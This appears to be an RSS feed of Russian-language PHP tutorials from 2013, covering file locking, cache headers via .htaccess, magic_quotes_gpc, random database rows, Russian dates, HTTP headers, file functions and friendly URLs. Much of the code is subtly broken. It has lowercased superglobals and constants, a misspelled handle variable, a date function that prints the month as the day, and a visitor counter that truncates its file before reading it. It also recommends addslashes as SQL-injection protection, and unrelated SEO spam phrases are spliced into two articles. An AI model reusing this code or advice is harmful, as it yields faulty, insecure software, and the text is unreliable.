if($file_exist &gt; 10){break;}<br />
clearstatcache();<br />
sleep(1);<br />
}<br />
}<br />
return touch($tmp);<br />
}<br />
}<br />
// функция удаляющая временные текстовые файлы<br />
function delstring($file) {<br />
global $lock_dir;<br />
$tmp = &quot;$lock_dir/&quot;.$file.&quot;.tmp&quot;;<br />
return unlink($tmp);<br />
}<br />
// альтернатива функци @file<br />
function filearray($file) {<br />
if (!is_readable($file)) return false;<br />
touchstring($file);<br />
$bufer = file($file);<br />
delstring($file);<br />
return $bufer;<br />
}<br />
// альтернатива функци @fopen<br />
function openfile($file, $mode) {<br />
touchstring($file);<br />
return fopen($file, $mode);<br />
}<br />
// альтернатива функци @fclose<br />
function closefile($fido, $file) {<br />
$sito = fclose($fido);<br />
delstring($file);<br />
return $sito;<br />
}<br />
……<br />
// проверяем есть ли временный файл, запрещающий<br />
// чтение и запись в файл-базу, если он есть, останавливаем<br />
// пользователя в цикле, где он ожидает пока временный файл<br />
// исчезнет, как толко он исчезает, сами создаем такой же временный<br />
// файл, запрещая доступ к файлу-базе, только после этого читаем данные из<br />
// файла-базы, удаляем временный файл, открывая доступ к базе<br />
// другим пользователям<br />
$f = filearray (&quot;database/file_base.dat&quot;); // здесь находится 2 пользователь<br />
// здесь идет текст скрипта<br />
// проверяем есть ли временный файл, запрещающий<br />
// чтение и запись в файл-базу, если он есть, останавливаем<br />
// пользователя в цикле, где он ожидает пока временный файл<br />
// исчезнет, как толко он исчезает, сами создаем такой же временный<br />
// файл, запрещая доступ к файлу-базе, только после этого открываем<br />
// файл-базу на запись, временный файл не удаляется, закрывая доступ к базе<br />
// другим пользователям<br />
$fp = openfile (&quot;database/file_base.dat&quot;, &quot;w&quot;); // здесь находится 1 пользователь<br />
// записываем в файл-базу данные из выше<br />
// прочитанного database/file_base.dat - переменная $f<br />
// и добавляем еще одну строку с данными нового пользователя<br />
// закрываем файл-базу, удаляем временный файл, открывая доступ к базе<br />
// другим пользователям<br />
closefile ($fp, &quot;database/file_base.dat&quot;);<br />
// обратите внимание, что в closefile два аргумента: $fp и<br />
// database/file_base.dat<br />
……<br />
? &gt;<br />
<br />
В этой ситуации мы видим, что когда один пользователь достиг точки считывания с file_base.dat или, наоборот, другой пытается записать в file_base.dat информацию, нам ничего не страшно. Потому что, как в одном, так и в другом случае, появился маленький текстовый файл file_base.dat.tmp, который не дает ни одному ни другому совместно читать или писать в file_base.dat.<br />
<br />
В нашем варианте есть одна &quot;дыра&quot;, если вдруг пользователь обратился к базе данных, создав текстовую строку блокировки, незакончил как-бы цикл (свет погас и компьютер выключился), и эта текстовая блокирующая строка осталась лежать в папке lock, то наша программа &quot;подвиснет&quot;, не давая никому пройти, из-за этого оставшегося флага.<br />
Мы не стали усложнять функции проверкой на удаление этого файла-флага, а, просто ввели в функции его создающей, предел &quot;подвисания&quot; компьютера 10 секунд ($file_exist++; if($file_exist &gt; 10){break;}), через 10 секунд он автоматически выйдет из цикла и сотрет временный файл. В этом кроется опасность, но она ничтожна мала по сравнению с теми, которые были описаны выше. Считаем, что подход описанный выше, защитит от обвала базы данных, которая лежит в текстовом файле и не будет особо заметно флагов блокировки, когда на сайте ее, одновременно использует до 10 человек. Мы знаем, что наш скрипт сервером исполняется 0,5 сек, в этом случае его пропускная способность в час составит до 1800 человек. Уменьшим ее вдвое, 900 человек, за сутки 21600 человек. Согласитесь, и без mysql можно обойтись.<br />
<br />
Для проверки работоспособности этих функций запишите вручную в папку lock этот самый блокирующий файл file_base.dat.tmp, в нашем случае, это: http://наш_сайт.ru/lock/database/file_base.dat.tmp, тем самым, блокируя доступ к базе http://наш_сайт.ru/database/file_base.dat, запустите программу, обратитесь к базе, вы увидите, что флаг работает и броузер &quot;стоит&quot; на месте, удалите file_base.dat.tmp файл (разблокируя) и подвисание закончится.<br />
<br />
Теперь у нас есть функции:<br />
1. filearray , заменяющая @file<br />
2. openfile , заменяющая @fopen<br />
3. closefile , заменяющая @fclose]]></description>
			<pubDate>Sat, 27 Apr 2013 18:56:21 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/474]]></link>
		</item>
		<item>
			<title>Заголовок If-Modified-Since, если PHP не установлен как моду</title>
			<description><![CDATA[Наверное, каждый веб-программист, интересующийся кешированием веб-страниц на стороне клиента, знает о таких заголовках HTTP, как «If-Modified-Since» и «If-None-Match». Данные заголовки отправляются браузером при обращении к странице, которая имеется в его кеше. Для правильной организации кеширования на стороне клиента, серверному приложению необходимо отправлять заголовок «HTTP/1.0 304 Not Modified» и прекращать передачу данных в случае, если содержимое запрашиваемой страницы не изменилось с того момента времени, которое указано в присланном заголовке «If-Modified-Since».<br />
<br />
Основная проблема при реализации кеширования на стороне клиента заключается в том, чтобы получить содержимое заголовка «If-Modified-Since». Вызвана она тем, что по умолчанию указанный заголовок доступен из серверного приложения только в том случае, если интерпретатор PHP установлен в качестве модуля Apache, что бывает крайне редко на серверах организаций, предлагающих услуги хостинга (по соображениям безопасности и удобства перекомпиляции PHP). Следует заметить, что кеширование на стороне клиента благотворно влияет не только на нагрузку веб-сервера, но и на скорость индексации веб-сайта поисковыми машинами. В связи с этим, опытные SEO-специалисты упорно ищут и рекомендуют «правильные» хостинговые компании.<br />
<br />
На самом деле, существует универсальное решение данной проблемы, не требующее вмешательства в глобальную конфигурацию веб-сервера и работающее даже в том случае, когда PHP не установлен в качестве модуля Apache. Для применения данного метода необходимо и достаточно, чтобы выполнялись следующие условия:<br />
<br />
* возможность конфигурации через файлы .htaccess;<br />
* доступность и возможность использования модуля mod_rewrite;<br />
* в серверном приложении к заголовкам «If-Modified-Since» и «If-None-Match» необходимо обращаться через массив $_SERVER, а не при помощи функций getallheaders или apache_request_headers (эти функции доступны только в том случае, если PHP установлен в качестве модуля Apache).<br />
<br />
Итак, для реализации доступа к заголовкам «If-Modified-Since» и «If-None-Match» необходимо в корневом каталоге веб-сайта поместить файл .htaccess следующего содержания:<br />
<br />
RewriteEngine On<br />
RewriteRule .* - [E=HTTP_IF_MODIFIED_SINCE:%{HTTP:If-Modified-Since}]<br />
RewriteRule .* - [E=HTTP_IF_NONE_MATCH:%{HTTP:If-None-Match}]<br />
<br />
После этого, необходимые заголовки будут доступны как $_SERVER['HTTP_IF_MODIFIED_SINCE'] и $_SERVER['HTTP_IF_NONE_MATCH']. В случае если на веб-сайте mod_rewrite используется для формирования «красивых» URL, содержимое .htaccess примет вид:<br />
<br />
# url rewriting<br />
RewriteEngine On<br />
RewriteCond %{REQUEST_FILENAME} !-f<br />
RewriteCond %{REQUEST_FILENAME} !-d<br />
RewriteRule ^(.*)$ index.php [QSA]<br />
<br />
# If-Modified-Since (if php is not installed as cgi then comment lines below)<br />
RewriteRule .* - [E=HTTP_IF_MODIFIED_SINCE:%{HTTP:If-Modified-Since}]<br />
RewriteRule .* - [E=HTTP_IF_NONE_MATCH:%{HTTP:If-None-Match}]<br />
<br />
Следует заметить, что заголовки «If-Modified-Since» и «If-None-Match» не отправляются браузером, если в предыдущих запросах к данной странице он не получал в ответе веб-сервера заголовок Last-Modified. Кроме того, при использовании в веб-приложении сессий с установками по умолчанию, указанные заголовки также не будут присылаться браузером. Для того чтобы избежать такого поведения браузера, необходимо перед запуском сессии выполнять функцию session_cache_limiter, передавая в качестве аргумента параметр 'private_no_expire':<br />
<br />
&lt;?php<br />
<br />
session_cache_limiter('private_no_expire');<br />
session_start();<br />
<br />
?&gt; Хостинг оптимизация сайта иркутск. . Материалы Картриджи, главная магазины иркутска расходники. . обслуживание бассейнов москва . Российский горящие туры тайланд из иркутска.]]></description>
			<pubDate>Sat, 27 Apr 2013 18:55:53 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/473]]></link>
		</item>
		<item>
			<title>Как бороться с magic_quotes_gpc</title>
			<description><![CDATA[В настоящей статье пойдет речь об одном из конфигурационных параметров языка программирования PHP — magic_quotes_gpc. Этот параметр играет важную роль, касающуюся, прежде всего, безопасности функционирования любого веб-приложения, обрабатывающего данные, полученные от пользователя и использующего для их хранения базу данных MySQL.<br />
<br />
Параметр magic_quotes_gpc влияет на то, как будут обрабатываться специальные символы, содержащиеся в данных, передаваемых пользователем (массивы $_GET, $_POST, $_COOKIE). При magic_quotes_gpc = 1 эти спецсимволы [одиночные (') и двойные кавычки (&quot;), обратный слеш (\), байт NULL] автоматически экранируются интерпретатором PHP (перед каждым таким символом добавляется обратный слеш). При magic_quotes_gpc = 0 все данные передаются в таком виде, в каком их ввел пользователь. В последнем случае в целях безопасности требуется обрабатывать передаваемые данные (в противном случае возможна атака SQL-injection) непосредственно в коде приложения. Для этого в PHP существует функция addslashes (выдержка из документации):<br />
<br />
$str = &quot;Is your name O'reilly?&quot;;<br />
<br />
# выводит: Is your name O\'reilly?<br />
echo addslashes($str);<br />
<br />
Все, вроде бы, просто. Использование в коде приложения функции addslashes в случае, если заведомо известно, что директива magic_quotes_gpc равна 0, вполне обосновано. Но что если администратор хостинга решит установить ее значение в единицу? Будет происходить двойное экранирование спецсимволов! Поэтому, функцию addslashes необходимо применять только в том случае, когда magic_quotes_gpc = 0. Получить текущее значение данного конфигурационного параметра можно при помощи стандартной функции get_magic_quotes_gpc. Таким образом, более универсальный код будет иметь следующий вид:<br />
<br />
$str = &quot;Is your name O'reilly?&quot;;<br />
$str = (!get_magic_quotes_gpc()) ? addslashes($str) : $str;<br />
<br />
# выводит при любых настройках PHP: Is your name O\'reilly?<br />
echo $str;<br />
<br />
Если писать каждый раз такую конструкцию, то код разрабатываемого веб-приложения становится достаточно громоздким. Гораздо эффективней использовать в начале каждого файла PHP универсальный код, осуществляющий при необходимости описанную выше обработку. Он будет иметь следующий вид:<br />
<br />
function addslashes_for_array(&amp;$arr)<br />
{<br />
foreach($arr as $k=&gt;$v)<br />
{<br />
if (is_array($v))<br />
{<br />
addslashes_for_array($v);<br />
$arr[$k] = $v;<br />
}<br />
else<br />
{<br />
$arr[$k] = addslashes($v);<br />
}<br />
}<br />
}<br />
<br />
function fix_magic_quotes_gpc()<br />
{<br />
if (!get_magic_quotes_gpc())<br />
{<br />
addslashes_for_array($_POST);<br />
addslashes_for_array($_GET);<br />
addslashes_for_array($_COOKIE);<br />
}<br />
}<br />
<br />
# экранирует при необходииости строки в $_GET, $_POST, $_COOKIE<br />
fix_magic_quotes_gpc();<br />
<br />
Следует заметить, что описанный код учитывает также тот факт, что в переменных $_GET, $_POST, $_COOKIE могут передаваться не только строки, но и многомерные массивы строк.<br />
<br />
P.S. В ходе проведенного недавно нашей компанией исследования некоторых веб-сайтов выяснилось, что многие достаточно известные веб-разработчики не учитывают параметр magic_quotes_gpc. А жаль...]]></description>
			<pubDate>Sat, 27 Apr 2013 18:55:28 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/graphic/472]]></link>
		</item>
		<item>
			<title>Выбор из БД в случайном порядке на PHP</title>
			<description><![CDATA[Есть несколько задач, для которых необходимо в случайном порядке выдавать на страницу несколько записей, считываемых из базы данных. Например, это может быть баннерная крутилка или раздел сайта &quot;случайная мысль&quot;. Так вот, можно реализовать эту задачу несколькими способами, и о двух из них я бы хотел рассказать в этом уроке.<br />
<br />
Вот таким обраом я сделал свой первый скрипт, который печатал на странице случайный афоризм:<br />
<br />
.... // database connection code<br />
$query = &quot;select * from quotes&quot;;<br />
$result = mysql_query($query);<br />
$randval = rand(0, mysql_num_rows($result) - 1);<br />
<br />
$quotetext = mysql_result($result, $randval, 1);<br />
$quoteauthor = mysql_result($result, $randval, 2);<br />
<br />
print &quot;$quotetext&lt;br&gt;$quoteauthor&quot;;<br />
<br />
Что делает этот код ? Сначала мы формируем sql запрос, который вытаскивает все записи из таблицы quotes. Затем мы генерируем случайное число, которое не превышает количества записей, полученных из базы данных. С помощью функции mysql_result() мы получаем случайную запись, то есть мы используем случайное значение, как номер ряда в возвращаемом наборе. Третий аргумент этой функции - это номер колонки, то есть поле записи, в котором хранится то, что надо выдать.<br />
Итак, недостатки этого кода очевидны:<br />
1.) Перед тем, как использовать генератор случайных чисел, нам нужно где-то выше в программе предварительно инициализировать этот генератор. Кстати это делает функция srand().<br />
2.) Придется все время хранить в уме номер колонки в которой хранится нужная информация. А если вдруг количество колонок в таблице изменится, нам придется изменять такой код.<br />
<br />
Теперь давайте рассмотрим другой код, который делает тоже самое, но уже более удобным способом.<br />
<br />
$query = &quot;select * from quotes order by rand() limit 1&quot;;<br />
$result = mysql_query($query);<br />
$row = mysql_fetch_array($result);<br />
print($row['text'] . '&lt;br&gt;' . $row['author']);<br />
<br />
В этом примере случайные значения генерирует сам сервер базы данных и возвращает каждый раз разные строки. Немного изменив код, можно выводить всю таблицу в случайном порядке:<br />
<br />
$query = &quot;select * from quotes order by rand()&quot;;<br />
$result = mysql_query($query);<br />
while($row = mysql_fetch_array($result)){<br />
print($row['text'] . '&lt;br&gt;' . $row['author'] . '&lt;hr&gt;');<br />
}<br />
<br />
Разве этот вариант не лучше ?<br />
Я думаю, что лучше !]]></description>
			<pubDate>Sat, 27 Apr 2013 18:55:10 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/471]]></link>
		</item>
		<item>
			<title>Дата на русском языке</title>
			<description><![CDATA[Попалась мне статья некого Андрея Кухарчика: &quot;Программируем на РНР&quot;. В ней был написан занятный скрипт вывода даты на русском языке. Но уж очень большой, на мой взгляд, он был.<br />
<br />
Тот самый скрипт:<br />
<br />
//-- определяем массив для месяцев --<br />
$q[]=&quot;&quot;;<br />
$q[]=&quot;января&quot;;<br />
$q[]=&quot;февраля&quot;;<br />
$q[]=&quot;марта&quot;;<br />
$q[]=&quot;апреля&quot;;<br />
$q[]=&quot;мая&quot;;<br />
$q[]=&quot;июня&quot;;<br />
$q[]=&quot;июля&quot;;<br />
$q[]=&quot;августа&quot;;<br />
$q[]=&quot;сентября&quot;;<br />
$q[]=&quot;октября&quot;;<br />
$q[]=&quot;ноября&quot;;<br />
$q[]=&quot;декабря&quot;;<br />
//-- определяем массив для дней недели --<br />
$e[0]=&quot;воскресенье&quot;;<br />
$e[1]=&quot;понедельник&quot;;<br />
$e[2]=&quot;вторник&quot;;<br />
$e[3]=&quot;среда&quot;;<br />
$e[4]=&quot;четверг&quot;;<br />
$e[5]=&quot;пятница&quot;;<br />
$e[6]=&quot;суббота&quot;;<br />
// ---- считываем месяц<br />
$m=date('m');<br />
if ($m==&quot;01&quot;) $m=1;<br />
if ($m==&quot;02&quot;) $m=2;<br />
if ($m==&quot;03&quot;) $m=3;<br />
if ($m==&quot;04&quot;) $m=4;<br />
if ($m==&quot;05&quot;) $m=5;<br />
if ($m==&quot;06&quot;) $m=6;<br />
if ($m==&quot;07&quot;) $m=7;<br />
if ($m==&quot;08&quot;) $m=8;<br />
if ($m==&quot;09&quot;) $m=9;<br />
// ---- считываем день недели<br />
$we=date('w');<br />
// ---- считываем число<br />
$chislo=date('d');<br />
// - извлекаем из день недели<br />
$den_nedeli = $e[$we];<br />
// - извлекаем значение месяца<br />
$mesyac = $q[$m];<br />
echo &quot;Сегодня &quot;.$chislo.&quot; &quot;.$mesyac.&quot;, &quot;.$den_nedeli;<br />
<br />
Вот видите какой он большой, громоздкий. Я же решил избавиться от лишнего кода и написать функцию вывода даты на русском языке<br />
<br />
Для этого я убрал многочисленные сравнения и ввод данных в массив. В результате у меня вот что получилось:<br />
<br />
function gws_daterus() {<br />
//-- определяем массив для месяцев --<br />
$mounth=array(<br />
&quot;01&quot; =&gt; &quot;января&quot;, &quot;02&quot; =&gt; &quot;февраля&quot;, &quot;03&quot; =&gt; &quot;марта&quot;,<br />
&quot;04&quot; =&gt; &quot;апреля&quot;, &quot;05&quot; =&gt; &quot;мая&quot;, &quot;06&quot; =&gt; &quot;июня&quot;,<br />
&quot;07&quot; =&gt; &quot;июля&quot;, &quot;08&quot; =&gt; &quot;августа&quot;, &quot;09&quot; =&gt; &quot;сентября&quot;,<br />
&quot;10&quot; =&gt; &quot;октября&quot;, &quot;11&quot; =&gt; &quot;ноября&quot;, &quot;12&quot; =&gt; &quot;декабря&quot;<br />
);<br />
<br />
//-- определяем массив для дней недели --<br />
$week=array(<br />
воскресенье, понедельник, вторник, среда,<br />
четверг, пятница, суббота,<br />
);<br />
$date_m=strtr(date('m'), $mounth);<br />
$date_w=$week[date('w')];<br />
$date_d=date('m');<br />
return $date_d.&quot; &quot;.$date_m.&quot;, &quot;.$date_w;<br />
}<br />
<br />
По-моему, мой вариант более красивый. На скорость выполнения я не проверял,<br />
но думаю скорость выполнения скрипта должна увеличиться <br />
<br />
Прокат авто львов аренда автомобилей сравнение автомобилей.]]></description>
			<pubDate>Sat, 27 Apr 2013 18:54:46 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/470]]></link>
		</item>
		<item>
			<title>PHP поддерживает реализацию механизма отправки заголовков HTTP.</title>
			<description><![CDATA[Сначала скажем несколько слов о самих http заголовках.<br />
<br />
В соответствии со спецификацией http, этот протокол поддерживает передачу служебной информации от сервера к броузеру, оформленной в виде специальных заголовков.<br />
<br />
Таким образом, http headers - это средство общения сервера с удаленным клиентом. Каждый заголовок обычно состоит из одиночной линии ascii текста с именем и значением. Сами заголовки никак не отображаются в окне броузера, но зачастую могут сильно изменить отображение сопутствующего документа.<br />
<br />
Механизм отправки http заголовков в php.<br />
Механизм отправки заголовков в php представлен функцией header(). Особенность протокола http заключается в том, что заголовок должен быть отправлен до посылки других данных, поэтому функция должна быть вызвана в самом начале документа и должна выглядеть следующим образом:<br />
<br />
header(&quot;http заголовок&quot;, необязательный параметр replace);<br />
<br />
Опциональный параметр replace может принимать значения типа bool (true или false) и указывает на то, должен ли быть замещен предыдущий заголовок подобного типа, либо добавить данный заголовок к уже существующему.<br />
<br />
В отношении функции header() часто применяется функция headers_sent(), которая в качестве результата возвращает true в случае успешной отправки заголовка и false в обратном случае.<br />
<br />
Рассмотрим наиболее используемые http заголовки.<br />
<br />
cache-control.<br />
&quot;cache-control: &quot; значение<br />
<br />
Заголовок управления кешированием страниц. Вообще, данная функция является одной из самых распространенных в использовании заголовков.<br />
<br />
Данный заголовок может быть использован со следующими значениями:<br />
<br />
no-cashe - Запрет кеширования. Используется в часто обновляемых страницах и страницах с динамическим содержанием. Его дейсвтие подобно meta тегу &quot;pragma: no-cache&quot;.<br />
public - Разрешение кеширования страницы как локальным клиентом, так и прокси-сервером.<br />
private - Разрешение кеширования только локальным клиентом.<br />
max-age - Разрешение использования кешированного документа в течение заданного времени в секундах.<br />
header(&quot;cache-control: private, max-age = 3600&quot;) /* Кеширование локальными клиентами и использование в течение 1 часа */<br />
<br />
expires.<br />
&quot;expires: &quot; http-date<br />
<br />
Устанавливает дату и время, после которого документ считается устаревшим. Дата должна указываться в следующем формате (на английском языке):<br />
<br />
День недели (сокр.) число (2 цифры) Месяц (сокр.) год часы:минуты:секунды gmt<br />
<br />
Например, fri, 09 jan 2002 12:00:00 gmt<br />
<br />
Текущее время в этом формате возвращает функция gmdate() в следующем виде:<br />
<br />
echo gmdate(&quot;d, d m y h:i:s&quot;).&quot;gmt&quot;;<br />
<br />
Возможно использование данного http заголовка для запрета кеширования. Для этого необходимо указать прошедшую дату.<br />
<br />
last-modified.<br />
&quot;last-modified: &quot; http-date<br />
<br />
Указывает дату последнего изменения документа. Дата должна задаваться в том же формате, что и в случае с заголовком expires. Данный заголовок можно не использовать для динамических страниц, так как многие серверы (например, apache) для таких страниц сами выставляют дату модификации.<br />
<br />
Возможно сделать страницу всегда обновленной:<br />
<br />
header(&quot;last-modified: &quot;.gmdate(&quot;d, d m y h:i:s&quot;).&quot; gmt&quot;);<br />
<br />
location.<br />
&quot;location :&quot; абсолютный url<br />
<br />
Полезный заголовок, который перенаправляет броузер на указанный адрес. Его действие сравнимо с meta тегом refresh:<br />
<br />
&lt;meta http-equiv=&quot;refresh&quot; content=&quot;0; url=someurl&quot;&gt;<br />
<br />
Например, этот заголовок может быть использован так:<br />
<br />
if ($login != $admin_login) header(&quot;location: http://www.server.com/login.php&quot;);<br />
else header(&quot;location: http://www.server.com/admin.php?login=$login&quot;);<br />
<br />
if (!headers_sent()) exit(&quot;Произошла ошибка! Пройдите &lt;a href='http://www.server.com/login.php'&gt;авторизацию&lt;/a&gt; заново&quot;);<br />
<br />
Мы разобрали конечно же не все http заголовки (на это нам несколько уроков не хватит), но рассмотрели наиболее полезные и самые используемые.]]></description>
			<pubDate>Sat, 27 Apr 2013 18:54:25 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/469]]></link>
		</item>
		<item>
			<title>Работаем с файлами на PHP</title>
			<description><![CDATA[В настоящее время существует огромное количество средств для создания по<br />
истине интерактивных веб приложений. Среди наиболее популярных стоит отметить asp, perl и php. Эти средства прочно вошли в жизнь веб-разработчика. На данный моментсамым быстро развивающимся является язык php. Поэтому рассмотрим его возможности более подробно.<br />
<br />
php является внедряемым языком сценариев. Многое из его синтаксиса<br />
заимствовано из c, java и perl с некоторыми, заложенными в него, уникальными<br />
особенностями. Цель языка состоит в том, чтобы позволить веб-разработчикам быстро создавать динамически генерируемые страницы.<br />
<br />
Развитие Сети диктует свои требования по предоставлению пользователю<br />
интересующей его информации. Сайт - это не только набор веб-страничек. Это еще и средство для хранения информации, организации обработки запросов пользователя и создания адекватного ответа на пользовательский запрос.<br />
<br />
Хранить информацию на сервере можно несколькими способами. Первый – с<br />
использованием баз данных. Очень удобный способ хранения больших объемов<br />
информации, когда необходимо организовывать выборки, сортировать информацию по различным параметрам и т. д. Если же необходимо обработать небольшой объем<br />
информации, да еще и без каких–то ухищрений (например, организовать учет<br />
посещений), то подойдет второй способ – размещение информации в файлах.<br />
<br />
php предоставляет очень большой набор средств по работе с файлами и файловой<br />
системой. Рассмотрим подробнее некоторые функции для работы с файлами.<br />
<br />
Естественно, для начала работы с файлом его надо открыть. Для этого<br />
предназначена функция fopen(). Эту функцию можно использовать для открытия любого файла в файловой системе сервера через http или ftp:<br />
<br />
int fopen(string filename, string mode);<br />
<br />
filename – имя открываемого файла, mode – указатель на режим открытия файла.<br />
Он может принимать одно из следующих значений:<br />
<br />
Значение Описание a Открыть файл только для дополнений. Данные дописываются в<br />
конец файла. a+ Открыть файл для дополнения и чтения. Данные дописываются в конец файла. r Открыть файл только для чтения.<br />
<br />
r+ Открыть файл для чтения и дополнения. Данные дописываются в начало файла. w<br />
Открыть файл только для записи. Существующие данные будут утрачены. w+ Открыть файл для чтения и записи. Существующие данные будут утрачены.<br />
<br />
При работе с двоичным файлом, необходимо указать флаг b. Однако, если между<br />
двоичными и текстовыми файлами не делается различия (как в системе unix), то этот<br />
флаг игнорируется.<br />
<br />
При успешном выполнении функция fopen() возвращает дескриптор файла, который<br />
представляет собой целое число. Этот дескриптор предназначен для ссылок на файл<br />
при последующих вызовах функций работы с файлами. При неудаче возвращается false.<br />
Пример:<br />
<br />
$file_hendel = fopen(&quot;report&quot;, &quot;a&quot;);if (!$file_hendle) { echo(&quot;Невозможно<br />
открыть файл...&quot;); }else { // функции работы с файлами; }<br />
<br />
По завершении работы с файлом необходимо его закрыть:<br />
<br />
int fclose(int fp)<br />
<br />
В качестве аргумента, функция fclose() принимает дескриптор закрываемого<br />
файла. В случае успеха возвращается true, в случае неудачи – false.<br />
<br />
Просто так файлы открывать бессмысленно. С ними надо что–то делать. Первое,<br />
что приходит на ум – вывести содержимое файла на экран. Эту операцию осуществляет<br />
функция fpassthru():<br />
<br />
int fpassthru (int fp);<br />
<br />
Эта функция выполняет чтение с текущей позиции в открываемом файле и до его<br />
конца, после чего она закрывает файл. В случае успеха возвращается true, в случае<br />
неудачи – false.<br />
<br />
Может не возникнуть необходимости выводить весь файл. Возможно, нам<br />
понадобится прочесть только часть данных, для использования их на нашей странице. Для этой цели в Рhp есть несколько функций.<br />
<br />
Для чтения заданного количества символов из открываемого файла, можно<br />
воспользоваться функцией fread():<br />
<br />
string fread(int fp, int length);<br />
<br />
Функция читает строку длиной length символов из файла с дескриптором fp.<br />
Пример:<br />
<br />
$file_hendel=fopen(&quot;text.txt&quot;, &quot;r&quot;); if (!$file_hendle) { echo(&quot;Невозможно<br />
открыть файл...&quot;); } else { $text = fread($file_hendel, 5); //Считывается первые 5<br />
символов fclose($file_hendel); }<br />
<br />
Если конец файла достигнут раньше длины length, то возвращается весь<br />
прочитанный текст.<br />
<br />
Так же для чтения данных из файла применяются функции fgetc(), fgets() и<br />
fgetss()<br />
<br />
string fgets(int fp, int length); string fgetss(int fp, int length);<br />
<br />
Функция fgetc() производит считывание одного символа.<br />
<br />
Функция fgets() возвращает строку из (length–1) символов. Чтение завершается,<br />
если будет достигнут символ перевода строки или конец файла.<br />
<br />
Функция fgetss() идентична fgets(), но все теги html удаляются из строки, но<br />
учитываются в длине строки length.<br />
<br />
При ошибке эти функции возвращают false.<br />
<br />
Также, для чтения содержимого файла можно использовать функцию file(),<br />
возвращающую содержимое файла в виде массива. Каждая строка файла представляется в виде элемента массива:<br />
<br />
array file(string filename);<br />
<br />
Функция принимает в качестве аргумента не дескриптор файла, а строку с именем<br />
файла.<br />
<br />
Для записи в файл используются функции fputs() и fwtite().<br />
<br />
int fputs(int fp, string string, [int length]); int fwrite(int fp, string<br />
string, [int length]);<br />
<br />
Если последний параметр не указан, то осуществляется запись всей строки.<br />
Пример (учет посещений с занесением данных о дате посещения и ip посетителя в файл<br />
и вывода на экран сообщения о номере посещения):<br />
<br />
&lt;?php<br />
<br />
//Учет посещений // количество посетителей будем хранить в файле report<br />
$date=date(&quot;d m y, h:i:s&quot;); $ip=getenv(&quot;remote_addr&quot;); // опредляем ip узла $host<br />
= gethostbyaddr($ip); // определяем имя узла по его ip $str=( // формируем строку,<br />
date – $date // для размещения ее в файле host – $host // учета ip – $ip<br />
–––––––––––––––––––––&quot;); $file_hendle = fopen(&quot;report&quot;, &quot;a+&quot;); //открываем файл<br />
report для добавлений, fputs($file_hendle,$str); // записываем в него<br />
подготовленную строку и fclose($file_hendle); // закрываем файл<br />
<br />
// Определние и вывод порядкового номера посетителя // количество посетителей<br />
будем хранить в файле visitors<br />
<br />
// открываем файл visitors для перезаписи $file_hendle = fopen(&quot;visitors&quot;,<br />
&quot;w+&quot;); $visitor_number = fread($file_hendle, filesize(&quot;visitors&quot;));<br />
$visitor_numbe++; // прибавляем еще одного посетителя, rewind($file_hendle);<br />
fwrite($file_hendle,$visitor_numbe); // переписываем файл visitors и<br />
fclose($file_hendle); // закрываем файл echo (&quot;Поздравляем, вы $visitor_numbe<br />
посетитель!&quot;);<br />
<br />
?&gt;<br />
<br />
Существует также несколько функций для управления текущей позицией в файле.<br />
Они облегчают свободное перемещение по файлу.<br />
<br />
Функция rewind() устанавливает текущую позицию в начало файла, дескриптор<br />
которого она принимает в качестве аргумента.<br />
<br />
Может возникнуть необходимость определить текущее положение в файле. Для этой<br />
цели служит функция ftell()<br />
<br />
int ftell(int fp);<br />
<br />
С помощью функции fseek() можно переместиться в заданную позицию.<br />
<br />
int fseek(int fp, int offset [, int whence]);<br />
<br />
Основными аргументами функции являются дескриптор файла и значение заданной<br />
позиции от начала файла. Например, с помощь функции ftell() можно организовать<br />
перемещение в заданную позицию:<br />
<br />
fseek($fp, ftell($fp)+10); // переход на 10 позиций вперед от текущей<br />
<br />
Но этого же эффекта в php4 можно добиться без использования функции ftell(),<br />
так как в функции fseek() появился необязательный аргумент, который определяет<br />
способ перемещения на заданную позицию: seek_set – отсчитывает значение от начала<br />
файла (по умолчанию); seek_cur – отсчитывает значение от текущей позиции; seek_end<br />
– прибавляет значение offset к концу файла.<br />
<br />
Тот же пример в php4 примет вид:<br />
<br />
fseek($fp, 10, seek_cur);<br />
<br />
Часто возникают ситуации, когда надо проверить положение указателя<br />
относительно конца файла. Для этого применяется функция feof(), которая возвращает<br />
true, если достигнут конец файла и false, если конец файла не достигнут.<br />
<br />
Возможности php по работе с файлами не ограничиваются приведенными здесь<br />
функциями. С полным описанием функций для работы с файловой системой можно<br />
ознакомится на официальном сайте php в разделе php: manual: filesystem functions.]]></description>
			<pubDate>Sat, 27 Apr 2013 18:53:58 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/468]]></link>
		</item>
		<item>
			<title>PHP пример парсинга URL для «User Friendly URLs»</title>
			<description><![CDATA[Во многих статьях встречал описание user friendly urls, но ни разу не было приведено простого и понятного примера реализации. В этой статье приведен такой пример.<br />
<br />
Итак. Для начала приведу код примера, а далее подробно разберем все встречающиеся в нем функции.<br />
<br />
&lt;?php<br />
header(&quot;http/1.1 200 ok&quot;);<br />
if(empty($_server['redirect_url'])) $p=array();<br />
else<br />
{ $url=$_server['redirect_url'];<br />
if($url[0]=='/') $url=substr($url, 1);<br />
if($url[strlen($url)-1]=='/') $url=substr($url, 0, -1);<br />
$url=explode('/', $url);<br />
$tmp=count($url)-1;<br />
if($tmp&gt;0)<br />
{<br />
$p=array(); $j=0;<br />
for($i=0; $i&lt;=$tmp; $i++)<br />
{<br />
if(!empty($url[$i]))<br />
{<br />
$p[$j]=$url[$i];<br />
$j++;<br />
}<br />
}<br />
}<br />
else $p=array();<br />
}<br />
?&gt;<br />
<br />
php пример.<br />
Теория. user friendly urls – технология, которая помогает избавится от некрасивых ссылок с параметрами (напр.: http://site.ru/index.php?action=view&amp;id=1&amp;print=true) и заменить их более понятными человеку (напр.: http://site.ru/1/print/). Основное преимущество в том, то, что ссылки «понятного» вида легче запоминаются человеком. Отличным примером реализации этой технологии является сайт nokia, ну и, конечно же, наш php wars. В данный момент использование «понятных ссылок» стандартом и показателем уважения к посетителю. Это неотъемлемый элемент «юзабилити» любого сайта.<br />
<br />
Основы практики. Идея данной технологии проста. Это использование вместо стандартной страницы 404 специального срипта, который бы перенаправил (или сам вывел) запрашиваемое содержимое.<br />
<br />
